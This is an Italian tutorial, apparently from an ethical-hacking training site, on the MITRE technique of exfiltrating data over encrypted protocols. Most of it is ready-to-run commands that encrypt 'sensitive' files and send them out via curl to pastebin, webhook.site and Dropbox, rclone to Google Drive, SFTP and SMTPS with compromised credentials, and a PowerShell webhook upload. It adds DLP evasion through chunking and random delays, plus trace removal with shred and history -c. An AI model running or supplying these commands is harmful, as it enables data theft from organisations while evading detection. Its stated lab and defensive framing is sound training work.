Estrazione Dati Cifrati: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol (T1048.002)
L'esfiltrazione tramite protocolli cifrati asimmetrici rappresenta una tecnica sofisticata che sfrutta canali HTTPS/TLS legittimi per trasferire dati sensibili, aggirando i controlli di sicurezza tradizionali. A differenza delle comunicazioni command-and-control standard, questa tecnica utilizza infrastrutture apparentemente legittime come servizi cloud, pastebin o webhook.
Gli attaccanti implementano questa tecnica in fase di Exfiltration (TA0010) della kill chain, dopo aver già raccolto e preparato i dati target. La cifratura asimmetrica integrata nei protocolli standard rende il contenuto opaco all'ispezione, mentre l'uso di destinazioni legittime maschera il traffico malevolo.
L'impatto è significativo: 3 gruppi APT documentati utilizzano attivamente questa tecnica. APT28 ha esfiltrato archivi compressi via HTTPS da server OWA compromessi, mentre CURIUM ha utilizzato SMTPS per trasferire dati raccolti. Il gruppo Storm-1811 ha dimostrato l'uso di SCP per esfiltrare credenziali catturate.
Replicare questa tecnica in ambiente controllato richiede la comprensione di come sfruttare protocolli cifrati standard per nascondere trasferimenti di dati. L'obiettivo è dimostrare quanto sia difficile distinguere traffico legittimo da esfiltrazione malevola.
Preparazione dell'ambiente di test
Prima di iniziare, configura una VM isolata con accesso internet limitato. Installa strumenti come curl, openssl e rclone per simulare diversi scenari di esfiltrazione.
# Comprimi e cifra i dati target
tar czf - /path/to/sensitive/data | openssl enc -aes-256-cbc -salt -out data.enc -k MySecretKey
# Codifica in base64 per il trasferimento
base64 data.enc > data.b64
Esfiltrazione via HTTPS con curl
Il metodo più semplice utilizza POST HTTPS verso servizi che accettano upload anonimi:
# Upload verso servizio pastebin
curl -X POST https://pastebin.com/api/api_post.php \
-d "api_dev_key=YOUR_KEY" \
-d "api_paste_code=$(cat data.b64)" \
-d "api_paste_private=1"
# Esfiltrazione verso webhook
curl -X POST https://webhook.site/unique-url \
-H "Content-Type: application/json" \
-d @data.b64
Utilizzo di Rclone per simulare backup cloud
Rclone è particolarmente efficace perché replica comportamenti di backup legittimi. Configura prima un remote storage:
# Configura Google Drive come destinazione
rclone config create exfil_drive drive scope drive.file
# Trasferisci con limitazione di banda per evitare detection
rclone copy data.enc exfil_drive:backups/ \
--bwlimit 100k \
--transfers 1 \
--checkers 1
Esfiltrazione via canali alternativi
Per dimostrare la versatilità della tecnica, utilizza protocolli diversi da HTTPS:
# Via SFTP (richiede credenziali compromesse)
echo "put data.enc" | sftp -b - user@external-server.com
# Via SMTPS usando swaks
swaks --to receiver@external.com \
--from sender@compromised.org \
--server smtp.gmail.com:587 \
--tls \
--attach data.b64 \
--auth-user compromised@gmail.com
Tecniche avanzate di offuscamento
Per evadere sistemi DLP e analisi comportamentale:
# Frammentazione del payload
split -b 1M data.b64 chunk_
# Upload con timing variabile
for chunk in chunk_*; do
curl -X POST https://api.dropbox.com/2/files/upload \
-H "Authorization: Bearer TOKEN" \
-H "Dropbox-API-Arg: {\"path\": \"/$chunk\"}" \
--data-binary @$chunk
sleep $(shuf -i 30-300 -n 1) # Delay randomico
done
Testing su diversi OS
Su Windows, PowerShell offre capacità native:
# Comprimi e invia via HTTPS
$data = Get-Content C:\sensitive\*.docx -Raw
$compressed = [IO.MemoryStream]::new()
$gzip = [IO.Compression.GzipStream]::new($compressed, [IO.Compression.CompressionLevel]::Optimal)
$gzip.Write([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
$gzip.Close()
Invoke-RestMethod -Uri "https://webhook.site/url" -Method Post -Body $compressed.ToArray()
Su macOS, sfrutta i tool nativi:
# Usa security framework per cifratura
security cms -e -r "recipient@example.com" -i sensitive.zip -o encrypted.p7
# Upload via curl con certificato client
curl --cert client.pem --key client.key \
-X POST https://secure-endpoint.com/upload \
-F "file=@encrypted.p7"
Validazione e cleanup
Dopo ogni test, verifica che i dati siano stati trasmessi correttamente e rimuovi le tracce:
# Verifica integrità post-trasferimento
curl https://pastebin.com/raw/PASTE_ID | base64 -d | \
openssl enc -d -aes-256-cbc -k MySecretKey | tar tzf -
# Pulizia artefatti locali
shred -vfz data.enc data.b64 chunk_*
history -c
Questi esempi dimostrano quanto sia facile per un attaccante esfilitrare dati usando protocolli cifrati standard. La chiave è comprendere che il traffico HTTPS legittimo e quello malevolo sono indistinguibili a livello di rete, rendendo essenziale il monitoraggio comportamentale e contestuale.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo